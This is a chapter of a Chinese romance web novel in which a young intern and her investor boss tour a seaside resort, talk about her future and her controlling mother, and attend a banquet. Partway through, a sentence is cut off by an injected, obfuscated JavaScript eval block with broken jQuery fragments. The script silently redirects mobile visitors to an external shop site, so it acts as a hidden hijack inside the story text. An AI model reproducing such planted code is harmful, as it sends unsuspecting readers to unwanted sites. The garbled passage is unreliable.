度假庄园在半岛的深处,三面环海,一条盘旋的公路环岛通往外界。
鹿昕按下车窗,咸湿的海风扑面而来,带着独属于热带的清新,海水在阳光的照耀下像是撒了一层闪片,波光粼粼。
韩科问:“漂亮吗?”
鹿昕看得入迷:“漂亮,好想在这待一辈子。”
韩科意味深长地瞥了眼副驾驶上的俞含章:“正式营业后你来玩,我给你优惠。”
鹿昕趴在车窗,把这片海湾印在心里:“先谢谢韩总了,正式营业后我一定来支持。”
韩科:“以后还让你们俞总带你来,他是股东,就出个机票钱的事。”
鹿昕:“这话你要跟我们俞总说。”
韩科闻言哈哈笑了起来,向俞含章递了一个揶揄的眼神。
俞含章面上挂着淡淡的笑容:“前一段时间团建去了北海道,明年团建可以考虑来这,还可以给我省一大笔预算。”
韩科:“老奸巨猾,黑心的资本家。”
鹿昕在后面饶有兴趣地听两个资本家互相吐槽,她只想说,谁也别说谁,都是一路货色。
韩科先是开车带他们兜了一圈,把各个项目从设想,到预计最后落实,介绍了一遍,妥妥一个合格的合伙人。
韩科把车停在了外貌风格酷似他们下榻的酒店前。
“俞总,你们可以先转转,我安排了庄园酒店的餐厅准备午餐,待会俞总注意手机,我打电话通知。”
俞含章:“带你去个地方。”
鹿昕跟在他身后,被光照得晃眼:“什么地方?”
跟着他走进了一条□□,虽是冬日,但温度适宜,目光所及之处全是娇嫩的花朵,远处有几栋欧式城堡。
鹿昕用拍照识别拍了一下,跳出来三角梅和洋紫荆花卉的照片。
可能是几天前经过一场风雨的洗礼,蓝紫色的花瓣散落一地,阳光从树梢穿过,落在花瓣上光影斑驳。
阳光正好,鹿昕看到有一片青草茂密的空地,她直接躺了下去,任阳光在脸上洒落。
她眯眼感受这份宁静,风袭过草坪,在她耳边留下淅淅沥沥的声音。
一只手从右边伸来,掌心摊开,不偏不倚遮住了阳光。
鹿昕眼前清晰起来,她侧脸向身边看去。
俞含章一只腿屈膝坐在她的身边,阳光蓝天在他身后自成一画。
他替她遮住了太阳。
鹿昕就这样心安理得地眯着眼,感受微风拂过脸颊,从身到心全方位放松。
俞含章没有说话,也没看她,眼神落在了远处,那只手只是稳稳的举着,仿佛给她遮太阳只是顺手的事。
她偷偷地侧脸看他。他表情很淡,薄唇轻抿,但她总感觉哪里不太一样,好像是眼眸中多了些情绪。
“俞含章,你为什么要投资这个度假庄园?”
“赚钱。”
鹿昕推开他的手坐起来,控诉:“你也太敷衍了,我上班还为了赚钱呢但我必须去上,你投资是吗?”
她语调一转说:“你该不会是不想告诉我,怕我真学会了,教会徒弟饿死师傅。”
俞含章一手撑着地:“你先叫声师傅听听。”
鹿昕嫌弃地皱眉,往后仰离远了点,“一日为师,终身为父,还是说你想当我爸。”
俞含章:“你之前不都叫过了,现在我挺想听你叫师傅。”
鹿昕咬牙:“我叫一声你敢答应吗?”
“不敢,”俞含章眉眼柔和,眸中带笑,“说认真的,站在投资人的角度看待事情从来只有利益,这个城市高楼大厦,商业,住宅,办公楼全部饱和,土地成本高到离谱,得到的利润少之又少,但近郊的度假庄园完全不一样,拿地成本较核心地区低,政/府有补贴,这都是极大的优势,更何况,土地资源短缺,现在是个郊区的庄园,以后就是市里的游玩圣地,这么看稳赚不赔。”
鹿昕:“这样看确实很好,但短时间内看不到收益。”
俞含章看了她一眼,躺在了草坪上:“我并不着急汇报。”
字面意思,不差钱。
鹿昕也躺了下来,仿佛以天为被,以地为床,闭上眼。
俞含章:“你来分析一下庄园的利弊。”
随堂测验?哪有一声不吭就考核的。
鹿昕无语,声音没有一丝起伏:“好处是它资产属性稳定,庄园属于重资产,自带土地和生态稀缺性,抗通胀能力强。其次是盈利方式多元,不只是住宿餐饮,还能发展出会务团建、私人定制、会员制等,客单价高、复购和溢价空间都比普通业态好。”
“坏处还是刚才说的投资大、回本周期长,运营成本高,人力,维护,能耗都极大。”
俞含章:“说得不错。”
鹿昕冷哼一声:“俞老师,我的考核过了吗?”
俞含章:“满分通过。”
两人静默,阳光洒在脸上懒洋洋的,就在鹿昕差点要睡过去,俞含章突然开口。
“你对未来有什么规划吗?”
鹿昕愣了一瞬,她开口找回声音:“你是怕美妆博主和专业相关的工作会有冲突?”
俞含章:“不是我怕,是你,我能感觉到你心里不是很喜欢这个专业和这份和专业相关的工作。”
鹿昕沉默,她皱了皱眉表情复杂。
俞含章:“你舍弃不了作为美妆博主的事业,如果日后你去到别家公司工作势必分给互联网的时间极少,你终究面临二选一。”
鹿昕:“成年人两个都要不行吗?”
俞含章:“你心里清楚,要不了。”
鹿昕准备用沉默躲避这个话题,就像选择实习后每次直播结束不是被粉丝问就是被小懒问,最后沉默逃避。
俞含章没打算放过她:“你不喜欢这份工作对吗?”
鹿昕沉默,抬手用手臂将眼睛遮了起来,声音听上去有些呜咽。
“谈不上喜不喜欢,只要不是金融我都可以。”
鹿昕这话一听就知道是因为周灵依,语气听上去就是个叛逆的小孩。
俞含章静静听着当个合格的听众,等待着她说话。
“从小到大我喜欢什么她都要管,穿什么衣服,甚至吃什么菜,我是个人不是她的所有物。”
“都说当老师的掌控欲极强,真的没错,高中我遭受霸凌跟她说只得来一句你认真学习怎么会有这些事,从那之后我真的忍了下来。”
“高考结束后,我选专业那一定是金融,还好这是我自己去学校里填的志愿,到录取通知书下来那一刻她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605293|203501||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
才知道我选的工商管理,可我并不喜欢,只是为了离她远些。”
“美妆博主也是因为从小到大所有的衣服都是她买,我打扮得像个书呆子,在大学我受够了终于能喘息,就每天给自己化漂亮的妆,穿漂亮衣服。”
“俞含章,你是不是觉得我这个人挺激进的,为了脱离掌管丝毫不在意将来,前程。”
俞含章呼吸加重,他只是觉得母女关系有些僵硬,没想到鹿昕内心竟然有这么多矛盾和压抑。
他半晌找回声音:“不觉得,你做的很棒,不是每个人都有理想,理想是为了前进的路上有动力,而没理想虽然走的可能慢些,但舒适幸福,人生要选择适合自己的方式。”
鹿昕摊开手,望着天边的云,说话的声音带着牵强的笑意。
“是吗?我妈知道你是这样开导我,她一定气得要死。”
俞含章:‘你会向她告状吗?’
鹿昕坐起来转过半边身体,双手撑着草地,笑盈盈地说:“下回我妈再说我不求进取,我就说是你教的。”
俞含章将手垫在头下,看着伏在他身旁的人:“嗯,你就说是我教的。”
“她要是知道自己引以为傲的学生竟然和她的理念不符,能气的背过去。”
她站起来拍拍身上的草屑:“以后的事以后再聊,我还有三个月实习期才结束,在此之前你休想摆脱我。
俞含章冲锋衣口袋震动,韩科打电话来喊他们。
“走吧,尝尝韩总安排的大餐。”
鹿昕慢他一步,看见他后背上粘上几块草屑,在黑色布料尤为明显。
她顺手帮他把脏东西拍掉,俞含章慢下脚步方便她。
“怎么了?”
“你身上沾了草。”
“还有吗?”他干脆停下来方便她清理。
鹿昕又大力拍了几下:“没了,快走吧,饿死了。”
···
“俞总,敬你一杯,感谢您愿意信任我们庄园,多亏了您的投资我们的项目才能落地。”
韩科带着一众手底下的人向俞含章敬酒。
鹿昕跟着俞含章站起来,听他说:“韩总客气了,好的项目值得投资,酒就不喝了。”
他在侍应生为他斟酒的时候就拒绝了,在他的强烈要求下把就换成了水。
韩科也没在意,豪爽地说:“您随意我先干了,马场已经建成,下午您赏个脸去看看?”他是看着鹿昕说的这句话,面上的笑意很深。
俞含章喝完杯中的酒让一起敬酒的负责人们坐下。
他说:“按你安排。”
韩科:“鹿小姐一定也要赏光,我们马场从马种到场地都是按国际赛事标准打造的。”
鹿昕好奇地问:“有汗血宝马吗?”
韩科和他身边的几个负责人抿着唇笑,“有的,只不过它现在学名叫阿哈尔捷金马,以它现在身价在全世界都稀有。”
鹿昕哦了声,对接下来的马场行程很兴奋,她一直想学骑马,可是没时间加上胆小,没机会尝试。
看来出差也不全是累,也不知道为什么姚齐每次出差回来都喊累,问他都干了什么,他说学了不少知识。
这么一看确实学了不少东西,以后她问问姚齐能不能出差都安排她来。